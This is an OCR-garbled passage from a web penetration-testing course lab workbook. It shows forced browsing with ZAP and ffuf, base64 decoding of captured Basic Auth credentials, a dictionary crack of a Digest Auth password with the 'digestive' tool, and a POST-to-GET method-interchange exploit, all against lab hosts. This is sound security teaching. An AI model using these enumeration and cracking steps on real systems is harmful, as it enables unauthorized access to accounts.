File Edit View Analyse Report Tools Import Online Help

[standardMode v B HWE @ I TEDESET0E4a VO ) OXE-EOBQE
@ sites ; 4 Quick Start # = Request 4= Response ==
oame Welcome to OWASP ZAP
v [S] Contents
[ Default Context ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications.
@ sites If you are new to ZAP then it is best to start with one of the options below.

> M http:/fcust42.sec542.net

Attack i 5 Spider...
Include in Context )! B Active Scan...
MNew: |
Flag as Context
Run application 3] »# " Forced Browse Directory
| Exclude from Cont > ¢ Forced Browse Directory (and Children)
= History Oy Search  [HAlerts | Output = ) open/Res Request Editor... | ##& AJAX Spider...
= 4 Ex Y Fuz.
© @ T Fiter: OFF & Export Open URL in Browser >
Id  Sour.. Req Timestamp Meth.. URL Show in Sites Tab Resp, B.., Highest Al.. No.., Tags
Open URL in System Browser
Copy URLs to Clipboard
2. ZAP should begin the forced browse attack immediately.
= History € Search [Walerts |]Output " ForcedBrowse # * o=
Site: cust42.sec542.net:8 v Lis! directory-list-2.3-medium.txt vI oo U-urrent Scans:1§ Num Requests 6363 ' Export prer)
Req. Timestamp Resp. Timestamp  Method Code Reason Size Resp. Header Size Resp. Body B
4/14/21, 6:28:21 PM  4/14/21, 6:28:21 PM GET http://cust42.sec542.net:80/ 200 OK 251 bytes 170 bytes
4/14/21, 6:28:21 PM  4/14/21, 6:28:21 PM GET http://cust42.sec542.net:80/cgi-bin/ 403 Forbidden 161 bytes 282 bytes
4/14/21, 6:28:22 PM  4/14/21, 6:28:22 PM GET http://cust42.sec542.net:80/icons/ 403 Forbidden 161 bytes 282 bytes
4/14/21, 6:28:24 PM  4/14/21, 6:28:24 PM  GET http://cust42.sec542.net:80/javascript/ 403 Forbidden 161 bytes 282 bytes
3. Forced browsing involves MANY requests and will take as much time as you allow it.
* Discover at least two new URLs using ZAP
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Solution

1. The forced browse should discover four new possible locations to explore.

5 History © Search [WAlerts || Output *ForcedBrowse # *

Site: cust42.sec542.net:8 - List: directory-list-2.3-medium.txt v [0 [J EE% Current Scans:1| Num Requests:112160 ¢ Export 5_“'"3

Req. Timestamp Resp. Timestamp  Method URL Code Reason Size Resp. Header Size Resp. Body [}
4/14/21, 6:28:21 PM 4, 6:28:21 PM  GET http://cust42.sec542.net:80/ 200 OK 251 bytes 170 bytes
4/14/21, 6:28:21 PM  4/14/21, :21 PM  GET http://cust42.sec542.net:80/cgi-bin/ 403 Forbidden 161 bytes 282 bytes
4/14/21, 6:28:22 PM  4/14/21, 6: http://cust42.sec542.net:80/icons/ 403 Forbidden 161 bytes 282 bytes
4/14/21, 6:28:24 PM  4/14/21, 6: H 804 rint/ 403 Forbidden 161 bytes 282 bytes

4/14/21, 6:31:50 PM  4/14/21, 6: http://cust42.sec542.net:80/mwiki/ 301 Moved P... 425 bytes 0 bytes
4/14/21, 6:31:58 PM  4/14/21, 6:31:58 PM GET http://cust42.sec542.net:80/server-status/ 200 OK 178 bytes 7.916 bytes
Alerts W0 1 W1 MO Primary Proxy: localhost:8081 Current Scans 40 &0 ®0 ) 0 0 M0 1 HoO

Note

Not all of these will develop into something interesting. Forced Browse highlights these entries simply because they did not
match the expected response for file not found for this application.

2. Here is a zoomed-in version of the results:
Method URL Code Reason

GET http://cust42.sec542.net:80/ 200 OK

GET http://cust42.sec542.net:80/cqgi-bin/ 403 Forbidden

GET http://cust42.sec542.net:80/icons/ 403 Forbidden

GET http://cust42.sec542.net:80/javascript/ 403 Forbidden

GET http://cust42.sec542.net:80/mwiki/ 301 Moved Permanently
GET http://cust42.sec542.net:80/server-status/ 200 OK

3. Two entries immediately look interesting and possibly accessible:

« http://cust42.sec542.net:80/mwiki

« http://cust42.sec542.net:80/server-status

4 While /Cg'i -bin, /'i cons ,and /j avascri pt could prove interesting, their response code HTTP 403: Forbidden suggests that, at present at least, we are not

being given immediate access.

« Browse any discovered URLs in Firefox; these will be explored further in future labs.
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Solution

1. Right-click http:/cust42.sec542.net:80/server-status.

2. Choose Open URL in System Browser.

Y Open/Resend with Request Editor..,

4/14/21, 6:31:50 PM
| 4/14/21, 6:31:58 PM

4/14/21, 6:31:50 PM GET http:/fcust42.sec542. net: 80/mwiki/ Open UBL in System Browser
A4/1 4421, 6:31:58 PM http:/lcust42.sec542 net:80/server-status/ Copy URLs to Clipboard

New Alert...

| Include in Context »
= History 9 Search [WMAlerts | Output , Forced Browse # » Flag as
5. custd2.sec542.net:80 « List: directory-list-2. 3-medium.txt v p j  Panapplication %
= | Exclude from Context >
Reg. Timestamp Resp. Timestamp Method g

4/14/21, 6:28:21 PM  4/14/21, 6:28:21 PM  GET http://cust42, A X
4/14/21, 6:28:21 PM  4/14/21, 6:28:21 PM  GET http:/fcust42.sec542, _

4/14/21, 6:28:22 PM  4/14/21, 6:28:22 PM  GET http://custd2.5ec542.net: 80 OpenURL i Browsey s
4/14/21, 6:28:24 PM  4/14/21, 6:28:24 PM  GET http:/icust42.sec542.net: 80/javascrip Manage Tags...

Alerts Mo W1 Rz M1 Primary Proxy: localhost: 8081 current
3. Apache Server Status is probably not a business-necessary feature for this site.
Apache Status x | -+
“ = ¢ ® :ut—‘;59:542.net‘zerser-;tmcvI {rl In DO ® & =

¥ Most Visited

Apache Server Status for cust42.sec542.net (via 10.42.42.42)

Server Version: Apache/2.4.29 (Ubuntu) OpenSSL/1.1.0g
Server MPM: prefork
Server Built: 2019-04-03T13:22:37

Current Time: Tuesday, 02-Jul-2019 14:48:04 UTC
Restart Time: Tuesday, 02-Jul-2019 13:46:32 UTC
Parent Server Config. Generation: 1

Parent Server MPM Generation: 0

Server uptime: 1 hour 1 minute 32 seconds

Server load: 0.18 2.18 3.95

Total accesses: 907814 - Total Traffic: 171.7 MB
CPU Usage: u26.51 s22.52 cu0 cs0 - 1.33% CPU load
246 requests/sec - 47.6 kB/second - 198 B/request

1 requests currently being processed, 9 idle workers

Scoreboard Key:

" " Waiting for Connection, "s" Starting up, "r" Reading Request,
"w" Sending Reply, "k" Keepalive (read), "o" DNS Lookup,

"¢" Closing connection, "L" Logging, "¢" Gracefully finishing,

1" Idle cleanup of worker, "." Open slot with no current process

Srv PID Acc M CPU SS Req Conn Child Slot Client Protocol VHost Request
0-0 - 0/0/14917 . 0.18 5010 0.0 0.00 3.01:1 http/1.1 www.sec542.0rg:80 OPTIONS * HTTP/1.0
1-0 - 0/0/11299 . 0.18 4760 0.0 0.00 2.33:1 http/1.1 www.sec542.0rg:80 OPTIONS * HTTP/1.0

4. Now, repeat the process for http://cust42.sec542.net:80/mwiki.
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= History < Search

S... custd2.sec542.net:

Req. Timestamp

4/14/21, 6:28:24 PM

4/14/21, 6:28:21 PM 4/14/21, 6:28:21 PM  GET
4/14/21, 6:28:21 PM  4/14/21, 6:28:21 PM  GET _
4/14/21, 6:28:22 PM  4/14/21, 6:28:22 PM  GET http://custd2.sec542.net:80/ico BHEH A I Srowser
4/14/21, 6:28:24 PM http:/fcust42.sec542.net:80/ja Manage Tags...
4/14/21, 6:31:¢ i

4/14/21, 6:31:58 PM

[ Alerts |- Qutput " Forced Browse & = =

80 « List: directoryist-2.3-me

Resp. Timestamp Method

http: /fcust42,sec542 net:B0/server-stg

= | Include 10 Context

“p 4 Run application
— Exclude from Context
Open/Resend with Request Editor...

Exclude from

n URL in &
Copy URLs to Clipboard
New Alert...

1 Browser

Alerts QD 1 3 R

1 Primary Proxy: localhost: 8081

5. Here is http://cust42.sec542.net:80/mwiki. Note that it is a MediaWiki site.
cust42 sec542.net X ‘ +
“ =5 @ 0 [ (@ cust42 sec542.net/mwiki/index.php/Main_Page e f}] InNneoDoOo & =
£} Most Visited
Create account & Log in
Page Discussion Read Edit View history |Search Q
Main Page
MediaWiki has been successfully installed.
Main page Consult the User's Guide @ for information on using the wiki software.

Recent changes
Random page

v Tools
What links here
Related changes
Special pages
Printable version
Permanent link
Page information

Getting started (edit]

« Configuration settings list &
* MediaWiki FAQ &
+ MediaWiki release mailing list &

* Localise MediaWiki for your language &

This page was last modified on 13 November 2015, at 16:45.

This page has been accessed 11 times.

Privacy policy About cust42.sec542.net Disclaimers

- 1y Po od By
[0 1] Madiawia

* Find same URLs with

ffuf .

+ Use the large raft wordlist available in your VM at /opt/fuzzdb/discovery/predictable-filepaths/filename-

dirname-bruteforce/raft-large-directories.txt.
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Solution

1. ffuf (Fuzz Faster U Fool) is a very fast web fuzzer. It allows us to fuzz any injection point in an HTTP request by simply supplying a wordlist to the tool, and using the FUZZ
keyword where we want the fuzzing to happen.

2. First, get familiar with many options ffuf supports. Open a terminal or widen it, or use full screen mode by clicking the + in the upper right corner of the terminal. This will keep
the output more concise. Then type:

ffuf -h

Fle Edit View Terminal Tabs Help
[-1$ ffuf -h
Fuzz Faster U Fool - v1.2.1

HTTP OPTIONS:
- Header “"“Name: Value"', separated by colon. Multiple -H flags are accepted.

-X HTTP method to use
-b Cookie data ‘"NAME1=VALUE1l; NAME2=VALUE2"' for copy as curl functionality.
-d POST data
-ignore-body Do not fetch the response content. (default: false)
-r Follow redirects (default: false)
-recursion Scan recursively. Only FUZZ keyword is supported, and URL (-u) has to end in it. (default: false)
-recursion-depth Maximum recursion depth. (default: @)
-replay-proxy Replay matched requests using this proxy.
-timeout HTTP request timeout in seconds. (default: 16)
-u Target URL
-X HTTP Proxy URL
[GENERAL OPTIONS:
-V Show version information. (default: false)
-ac Automatically calibrate filtering options (default: false)
-acc Custom auto-calibration string. Can be used multiple times. Implies -ac
-c Colorize output. (default: false)
-config Load configuration from a file
-maxtime Maximum running time in seconds for entire process. (default: )
-maxtime-job Maximum running time in seconds per job. (default: ©)
-p Seconds of ‘delay’ between requests, or a range of random delay. For example "0.1" or "6.1-2.80"
-rate Rate of requests per second (default: 0)
-5 Do not print additional information (silent mode) (default: false)
-5a Stop on all error cases. Implies -sf and -se. (default: false)
-se Stop on spurious errors (default: false)
=sf Stop when > 95% of responses return 403 Forbidden (default: false)
-t Number of concurrent threads. (default: 4@)
-V Verbose output, printing full URL and redirect location (if any) with the results. (default: false)

[MATCHER OPTIONS:
- Match HTTP status codes, or "all" for everything. (default: 200,204,301,302,307,401,403,405)

-ml Match amount of limes in response
-mr Match regexp

-ms Match HTTP response size

-mw Match amount of words in response

FILTER OPTIONS:

-fc Filter HTTP status codes from response. Comma separated list of codes and ranges
-fl Filter by amount of lines in response. Comma separated list of line counts and ranges
-fr Filter regexp
-fs Filter HTTP response size. Comma separated list of sizes and ranges
-fw Filter by amount of words in response. Comma separated list of word counts and ranges
[INPUT OPTIONS:
-D DirSearch wordlist compatibility mode. Used in conjunction with -e flag. (default: false)
-e Comma separated list of extensions. Extends FUZZ keyword.
-ic Ignore wordlist comments (default: false)
—innut-cmd Command nrodicing the inont - -innit-num is reouired when using thic innut methnd Overrides -w

3- Since we need to fuzz the cust42.sec542.net web site, we need to append the FUZZ keyword at the end. We will also use the dictionary available at /opt/fuzzdb/

discovery/predictable-filepaths/filename-dirname-bruteforce/raft-large-directories.txt which
contains around 60,000 words. Be sure the terminal has been widened for full-screened.

ffuf -w /opt/fuzzdb/discovery/predictable-filepaths/filename-dirname-bruteforce/raft-large-
directories.txt -u http://cust42.sec542.net/FUZZ

86 © 2022 Seth Misenar, Eric Conrad, Timothy McKenzie, Bojan Zdrnja

Technet24


https://technet24.ir
https://technet24.ir

File Edit View Terminal Tabs Help
[~]$ ffuf -w /opt/fuzzdb/discovery/predictable-filepaths/filename-dirname-bruteforce/raft-large-directories.txt -u http://cust42.sec542.net/FUZZ
/' N /N /' \
INN_//INN_/ o INN\_/
N WP\ W N VA W W/ U W W WA
A\ VU 200 W U N O W W W U U O N4
AV VA W VA U WA /N \\
\/_/ \/_/ \/_/ \/_/
vl.2.1
:: Method : GET
:: URL : http://custd42.sec542.net/FUZZ
:: Wordlist : FUZZ: /opt/fuzzdb/discovery/predictable-filepaths/filename-dirname-bruteforce/raft-large-directories.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405
javascript [Status: 301, Size: 327, Words: 20, Lines: 10]
server-status [Status: 200, Size: 20206, Words: 530, Lines: 341]
[Status: 200, Size: 170, Words: 15, Lines: 11]
mwiki [Status: 301, Size: 322, Words: 20, Lines: 10]
:: Progress: [62290/62290] :: Job [1/1] :: 6484 req/sec :: Duration: [0:00:06] :: Errors: 3 ::
~1s Il
4. Notice that it will take only around 6 seconds for ffuf to complete this fuzzing job!
5. If you have more time, run it on http://www.sec542.org as well and analyze the results.

1. Be sure to disable the proxy setting in Firefox so that it does not interfere with future labs.

2. Go to the Firefox Proxy Selector drop-down and choose [Direct].

n @

o]

O [sSystem Proxy]

@ Burp Community
Burp Pro

@ ZzZap

Y localhost ~

. /& Options

We would like to thank NASA for the excellent source of images and related information. This image comes from NASA's Hitchhiker's

Guide to the Galaxy—-Themed Expedition 42, to the International Space Station. More information is available at https://www.nasa.gov/

mission_pages/station/expeditions/expedition42/.
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Exercise 2.3 - Authentication

Objectives

« Explore the technical details of Basic, Digest, and Forms-based authentication
+ Consider how to differentiate success from failure conditions
« Perform Base64 decoding with ZAP and Base64 command-line tool

+ Perform method interchange on a form expecting a POST

Lab Setup

1. Launch ZAP by clicking the ZAP icon in the upper panel at the top of the screen.

Note

ZAP takes a while to launch, roughly 10 seconds or so. Many students end up accidentally launching ZAP two or three times
during the delay. Run one instance of ZAP only.

Multiple instances of ZAP are running if you see this warning:

— =
A Proxy port 8081 was in use. Try: 8082 &

Yes No

In this case, close the additional ZAP instances, leaving the original. When in doubt, close all ZAP instances and start over.
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Warning

ZAP must be listening on port 8081 for this lab to work.

2. After ZAP starts, launch Firefox by clicking the Firefox icon in the upper panel.

3. Configure Firefox to use the running proxy by selecting ZAP from the proxy selector drop-down:

n @ .

«" [Direct]

O [System Proxy]
@ Burp Community
Burp Pro
Zap
Y localhost ~

/ Options

ZAP — Basic Authentication

Examine the information sent to https://sec542.org/basic/ during a request for a page that is being "protected” by Basic Authentication.
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Solution

1- Open a new tab in Firefox (press Ctr'L=T ) and surf to: https://sec542.org/basic/

2. You will see a pop-up that says 'A username and password are being requested by https:/sec542.org. The site says: "Basic Auth Restricted".

e . ) Q_ https://sec542.org/basic/ i @ O

4} Most Visited Sec542 Wiki  [€] Untrusted - a user ja... Untrusted Solutions

. https://sec542.0rg is requesting your username and
& password. The site says: “Basic Auth Restricted”

User Name: ‘ ‘

Password: ‘ ‘

3. Now we look at what the initial request and response look like in ZAP.
4. Switch to ZAP. In the left Sites window, drill down to https:/sec542.org -> basic -> GET:/.

5. Click the Request tab and review the details of the request.

File Edit View Analyse Report Tools Import Help

Standard Mode | |] &2 [ & 2 Go o4

BEEEEEHmEDE &S 7)o xEi-me@4q

@ sites == ; 47 Quick Start ¢= Response =
@ LEE3 Header: Text ~ | Body: Text v| | [El @
v [5 Contexts GET https://sec542.0rg/basic/ HTTP/1.1 ]
(@] Default Context User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux xB86_64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,1image/webp,*/¥;q=0.8
v @ Ssites Accept-Language: en-US,en;g=0.5
v @ https://sec542.org Connection: keep-alive

Upgrade-Insecure-Requests: 1

l Host: sec542.o0rg

v | basic

6. Click on the "Response" tab to view the server's response to the initial HTTP GET request.
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File Edit WView Analyse Report Tools Import Online
StandardMode ~ || ] &2 H W F & G L4 2 = B S

@ sites & § 4 Quick Start = Request

Ny

@ OB = Header: Text | Body: Text ~ [ [

v 5 Contexts mp/lfl 40}20U23Mgggzgg 19:24 GMT
- ate: Tue, pr :119:
(2] Default Context Server: Apache/2.4.29 (Ubuntu)
v @ Sites WWW- Authenticate: Basic realm="Basic Auth Restricted"

> bW https:/ffirefox.settings.services.m¢f| Content-Length: 458

Keep-Alive: timeout=5, max=100
Connection: Keep-Alive

> g https:/fpush.services.mozilla.com

v g https:/fsec542.0rg Content-Type: text/html; charset=1s0-8858-1
~ | basic
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"=>
<html><head=
<title=401 Unauthorized</title=
</head=<body=>

=hl=linanthari zad- k1=

Note

The status code "401 Unauthorized".

Note also the server responds with an HTTP Header: WWW-Authenticate: Basic realm="Basic Auth Restricted"

7. Switch back to Firefox and supply an incorrect username and password in the pop-up box: baduser:badpass

8. The pop-up will immediately return, indicating authentication failed.

9. Now provide the correct credentials of ma rvin asthe username and pa ranoid asthe password:

“ =5 X @ [O\ https://sec542.org/basic/ ] In @ O ®

I} Most Visited Sec542 Wiki

I§ Untrusted Solutions

(€] Untrusted - a user ja...

p. https://sec542.org is requesting your username and
& password. The site says: “Basic Auth Restricted”

User Name: ‘ marvin

Password: | sessesss

Cancel

10. You see a vintage NASA photo, and a message indicating successful Basic authentication.
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¢ o [@‘ﬂ https://sec542.org/basic/ RER ﬁ‘ Ineoo® @ i’ =

£+ Most Visited Sec542 Wiki [€] Untrusted - a user ja... Untrusted Solutions

Successful Basic Authentication!

Enjoy an image from the Apollo 7 mission, courtesy of the Project Apollo Archive (http://www.apolloarchive.com/ or simply Google "Project
Apollo Archive")

11. If you're wondering how we know these usernames and passwords, great minds think alike!

12. Yes, we are supplying both usernames and passwords for this exercise.

13. Username harvesting and password guessing exercises are coming up later. Our goal, for now, is to understand basic web authentication methods.
14. Switch back to ZAP, and find the https:/sec542.org/basic/ requests under the History tab.

15. Select the request to https://sec542.org/basic/ with a 200 status code. Then select the Request tab.

16. Find the HTTP Authorization header and highlight the encoded string found after Autho rization: Basic.

Note

If you don't see the Authorization: Basic header, you may have chosen the wrong request.

17. Right-click on the highlighted string and select Encode/Decode/Hash....
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18.

oA

@ sites =k
ens

5l Contexts
[@] Default Context

@ sites
& | P https://snippets.cdn.mozilla.net
& https:/img-getpocket.cdn.mozilla.net
@ | P https://spocs.getpocket.com
@ P https://getpocket.cdn.mozilla.net
& | P https:/ffirefox. settings.services.mozilla.com
@ https://push.services.mozilla.com
& ¥ https://sec542.0rg

|| GET:favicon.ico

47 Quick Start  =» Request <= Response ==

Header: Text ~ | Body: Text M = =)

GET https://sec542.o0rg/basic/ HTTP/1.1

User-Agent: Mozilla/5.0 (X11: Ubuntu; Linux xB86_64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5

Connection: keep-alive

Referer: http://localhost:8000/Labs/542 2/3/sec542.2.3/

Upgrade-Insecure-Re
Authorization: BasidgllbWFydmluOnPhemSukalls
Host: sec542.org Ctrl-F

{4 open/Resend with Request Editor...

4 Fuz...

Run application >

Open URL in System Browser

[ P basic
LR ‘ Syntax >

! Open URL in Browser >
] images
View >
) | Can't Undo ctrl-Zz F
= History © Search [Walerts | output # WebSockets # ¥ == can't Redo Ctrly
@ channel: - All channels - M 3 7 Filter:OFF cut Ctrl-x
Channel o Timestamp Copy ctri-c Bytes
#1.1 = 20/04/21, 02:24:11.935 P Ctriv
#1.2 = 20/04/21, 02:24 Delete Delete
#1.3 = 20/04/21, 02:29:1
#1.4 - 20/04/21, 02:29:11.8 Select Al Ctrl-A
#1.5 =3 20/04/21, 02:30:44.,897 Save Raw N
#2.1 =3 20/04/21, 02:30:50.221
#2.2 = 20/04/21, 02:30:50.475 Save XML
#2.3 = 20/04/21, 02:35:50.218 e lo i
#2.4 =3 20/04/21, 02:35:50.226

Encode/Decode/Ha

Alerts WO 1 2 P11 Primary Proxy: localhost:8081

Current Scans

©

Select the Decode tab and the credentials submitted should be revealed under the Base 64 Decode box:

Text to be encoded/decoded/has
bWFydmluOnBhemFub2lk

Basef4 Decode

marvin:paranoid

Base64 URL Decode
marvin:paranoid

URL Decode
bwWFydmluOnBhcmFub2lk

Full URL Decode
NumberFormatException: For input string:

ASCIl Hex Decode
NumberFormatException: For input string:

HTML Decode
bwWFydmluOnBhcmFub2lk

JavaScript Decode
bwWFydmluOnBhcmFub2lk

Encode  Decode Hash  lllegal UTF8  Unicode

Reset

R

"W
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19 The username and password appear immediately as they are simply Base64 encoded. No decryption key was required as this is not encryption, but mere encoding. One of the major
complaints about HTTP Basic Authentication is illustrated by this simple decoding we just performed. HTTP Digest Authentication, the next authentication method we will use in this
lab, seeks to improve upon this aspect.

20. Let's manually Base64 decode the credentials on the command line.
21. Why? We sometimes encounter Base64-encoded credentials via other methods. Keep this in mind for future reference!

2

N

- Highlight the bWFydmluOnBhcmFub21lk string following Authorization: Basic inthe request header, right-click and select Copy.

23. Open a terminal and type the following:

echo

24. Then paste the string (Terminal -> Edit -> Paste)

25. Then type the following:

| base64 -d

2

o

. Here is the full command:

echo bWFydmluOnBhcmFub2lk | base64 -d

h Terminal - student@Security542: ~ L
File' Edit View Terminal Tabs Help

[~1% echo bWFydmluOnBhcmFub21k | basebd -d
marvin:paranoid[~]% [} S

ZAP - Digest Authentication

Examine the information sent to https://sec542.org/digest/ during a request for a page that is being "protected" by Digest
Authentication.
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Solution

1. Switch back to Firefox and surf to https:/sec542.org/digest/.
2- Fail to log in by submitting invalid credentials in the pop-up box: baduser asthe username and badpassword as the password.
3. The pop-up box immediately returns, indicating a failed login.

4 Now supply the valid credentials trillian astheusernameand planet as the password:

“ =5 X @ ‘Q\ https://sec542.org/digest/ In @ O ®

L} Most Visited [} Sec542 wiki Untrusted - a user ja... §[§ Untrusted Solutions

: https://sec542.0rg is requesting your username and
i password. The site says: “Security542"

User Name: ‘ trillian

Password: | =e=ee

5. Switch back to ZAP.
6. In the Sites window, select https://sec542.org -> GET:digest.
7. Scroll down in the Request window to see the authentication credentials that were sent.

8. Go to ZAP's History tab, and locate the matching GET to https://sec542.org/digest/ with a "200" code. Then click the Request tab:

File Edit Wiew Analyse Report Tools Import Online Help

StandardMode V[ B HE g @S 212 EE T 0E & 8 V€ I P 0 X @B -H 00 €C
@ sites = § 47 Quick Start  =» Request <= Response =

@ B = Header: Text ~ | Body: Text v| | E 3

+ [ Contexts GET https://sec542.org/digest/ HTTP/1.1
(@] Default Context User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux xB6_64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

v @ sites Accept-Language: en-US,en;q=0.5
v g P https:/fsec542.0rg Connection: keep-alive
. . Referer: http://localhost:8000/Labs/542_2/3/sec542.2.3/
v [P digest Upgrade-Insecure-Requests: 1
[ r Authorization: Digest username="trillian", realm="Security542", nonce="ONfcYWLABQA=

5fe6d8d5913cdSd04b0eb7eefed97b5908851F68", uri="/digest/", algorithm=MDS, response="
d566f64fde86dbf5f06c705232d0862c", qop=auth, nc=00000001, cnonce="843ceaad709ca5h7"
Host: sec542.org

| | GET:favicon.ico

= History S Search [Walerts || output

@ @& 7 Filter: OFF @ Export

Id Sour.. Req.Timestamp Meth... URL Co... Reason R.. Size Resp. B... Highest A... N... Tags ==
1 &P, 4/20/21, 7:27:2... GET https://sec542.org/digest/ 401 Unauth... 2... 458 bytes
5 &P, 4/20/21, 7:27:3... GET https://sec542.org/digest/ 401 Unauth... 9... 458 bytes
6 &P, 4/20/21, 7:27:4... GET https://sec542.org/digest/ 401 Unauth... 1... 458 bytes
7 = P.. 4/20/21, 7:27:4... GET https://sec542.org/digest/ 200 OK 1... 510 bytes U Medium
Alerts 0 1 (2 P11 Primary Proxy: localhost:8081 Current Scans 40 &0 ®0 )0 @0 o0 0 ¥o|
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Note

The HTTP Digest authentication credentials, including the nonce, cnonce (client nonce), response, etc (note that your specific
values will differ). A nonce is a randomly-generated string, so each one will be different on every transaction.

Authorization: Digest username="trillian", realm="Security542",
nonce="ONfcYWLABQA=5fe6d8d5913cd5d04b0eb7eefed97b5908851f68", uri="/digest/",
algorithm=MD5, response="d566f64fde86dbf5f06c705232d0862c", qop=auth, nc=00000001,

cnonce="843ceaa9709ca5b7"

9- The course authors wrote a tool called digestive (ocatedin /usr/local/bin/ inthe SEC542 Linux VM) which uses a word list to crack HTTP Digest
passwords captured from PCAPs, interception proxies such as ZAP or Burp Suite, etc. Digestive is available here: https://github.com/eric-conrad/digestive/.

10. Let's use digestive to crack Trillian's password!

- We will use John the Ripper's default wordlist (located in /opt/john/run/password.lst )tolaunch a dictionary password cracking attack.

12. Type the following to begin the command (do not press Enter yet, as the command is incomplete):
digestive --wordlist /opt/john/run/password.lst --username trillian --realm Security542 --uri /
digest/ --qop auth --nc 00000001 --method GET --nonce NONCE --response RESPONSE --cnonce
CNONCE

13. Then copy/paste your respective nonce, response, and cnonce values from ZAP, overwriting NONCE, RESPONSE, and CNONCE. Remember that your nonce, response, and cnonce will

differ from the example above, so you will need to carefully copy/paste those from ZAP. Also be sure to copy/paste the entire nonce, including both fields on either side of the "="

sign.

14 Then press Enter .

File Edit View Terminal Tabs Help

[~]1% digestive --wordlist /opt/john/run/password.lst --username trillian --realm Security5
42 --uri /digest/ --qop auth --nc 00000001 --method GET --nonce "ONfcYWLABQA=5fe6d8d5913cd
5d04b0eb7eefedd7b5908851f68" --response d566f64fde86dbf5f06c705232d0862¢c --cnonce 843ceaa9
709ca5b7

Username = trillian

Password = planet

~1s []

15 Trillian's password is planet .

ZAP — Forms-Based Authentication

Examine the information sent to https://sec542.org/form/ during a request for a page that is being "protected" by Forms-Based

Authentication.
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Solution

1. The final type of authentication we review is HTML forms-based Authentication.
2. In Firefox go to https:/sec542.org/form/.

3. Submit invalid credentials in the HTML Form.

4. The page will say "Error Incorrect username or password".

5. Click try again and supply the valid credentials: ford:galaxy.

User

Password

Login |

6. You will see another famous lunar photograph.
7. Switch back to ZAP.

8. Click the Filter button in the History tab. In the Filter History box that pops up select "Form" under "Tags" and click "Apply".

g ¥ https:/fsec542.0rg
L P form
fFu
. u Autom]
| images w
w Filter History + X
Select the required filters below. You can select multiple rows in each
element. An element is not used for filtering if none of the rows in it are ]
selected. New 4
Methods: Codes: : lerts: URL Inc Regex: [
COMMNECT 100 Informatic
DELETE 101 Low B
GET 200 Passwor( | Medium
HEAD 201 High B
Id Source Cg
OPTIONS 202 URL EXc Regex:
4 = Proxy  4/2 paTCH 203 False Pc
28 =+ Proxy  4/2  posT 204 Low
58 & Proxy 4/2 PUT 205 Medium
TRACE 206
MNotes: Ignore e
Cancel Clear Apply

9. Review the filtered History tab.
10. Look at the details of the two POST requests to /form/login.php.

11. How can you differentiate a successful from an unsuccessful login? Both successful and unsuccessful login attempts result in an HTTP 200 OK response. This can make discerning
valid versus invalid credentials more difficult. The resultant HTML provides the difference rather than the HTTP Status codes. In this example, and also with many real-world
applications, the size of the responses can provide a method for differentiating valid and invalid credentials.

12. Highlight one of the POST requests and review the details.
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File Edit View Analyse Report Tools Import Online Help
StandardMode v ||| B d m @ @& & 2 X B E O o @D=E& & V@ ¥% @@ Eeo@&cC
@ sites ; 47 Quick Start = Request <= Response <
G E 3 Header: Text v || Body: Text ~| = @
= contexts POST https://sec542.o0rg/form/login.php HTTP/1.1
(@) Default Context User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
p pp pp q 9 P q
@ sites Accept-Language: en-US,en;q=0.5
5| P https://spocs.getpocket.com Content-Type: application/x-www-form-urlencoded
. ) Content-Length: 34
& Y https://getpocket.cdn.mozilla.net origin: https://sec542.org
& https:/fimg-getpocket.cdn.mozilla.net Connection: keep-alive
. . Referer: https://sec542.org/form/
& ¥ https://sec542.0rg Upgrade-Insecure-Requests: 1
I P form Host: sec542.org
| GETy
| "
images user=fordipass=galaxy-button=Login
= History G Search [Walerts | output ==
@ @ | Filter. ON Tags ¢ Export
Id Sour.. Req.Timestamp Meth... URL . Size Resp. B... Highest Al... No... Tags e
4 & P.. 4/20/21, 7:36:08... GET https://sec542.orgfform/ 1... 965 bytes F Medium Form, Password
60 <+ P... 4/20/21, 7:39:54... POST https://sec542.orgfform/login.php 1... 453 bytes U Medium Form
Alerts WO U1 (U3 1 Primary Proxy: localhost:8081 CurrentScans 40 @0 @0 Do @o %o 0 #oO

13. Are the credentials encrypted or encoded in any way? Though HTTP Basic Authentication has built-in weaknesses, forms-based authentication is not necessarily stronger. As we see

in this example, the credentials here are not even encoded, much less encrypted.

14. When finished, click the Filter icon, and then choose Clear and Apply.

Method Interchange

We discussed method interchange during 542.1 (for example: changing a POST to a GET). We created a version of the form we just
used (/form/login.php) that has a method interchange vulnerability. Exploit the vulnerable application at https:/sec542.org/form2/.
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Solution

1. Navigate to https:/sec542.org/form2/ in Firefox.

2. This page is expecting a POST, let's see if we can successfully authenticate with a GET.

3. Log in as you did the previous step with the following credentials: ford:galaxy.

4. Switch back to ZAP. Review the History tab. Right-click on /form2/login.php (ensure you are looking at /form2/login.php) and choose Open/Resend with Request Editor....

= History S, Search  [Walerts || output & WebSockets

@ @& | Filter: ON Methods § Export

Id Source Req. Timestamp  Method URL Code Reason RTT Size Resp. Body
3 #= Pr., 6/24/22, 5:59:42 PM POST https://sec542.orgform/lagin.php | OO 3 O kwdan
§ =+ Pr... 6/24/22, 5:59:58 PM POST  https:/fsec542,orgfform/flogin.php | Aftack b

Include Site in Context

P
Run application >
Flag as Context >

»

Exclude from Context

COpen/Resend with Request Editar...

Open URL in Browser ¥
Exclude from >
Show in Sites Tab

6:00:14 PM POST  hittps://sec542, arg/form2/login. php T T R marcnmray >IN

(%))

. Change the request method (upper-left menu) from POST to GET and press send (button is on the upper right):

|~ Manual Request Editor - + X

Request Response

Method v - ext v EEe@RE GE DI send
Method .org/form2/login.php HTTR/1.1

COMNMECT l.org

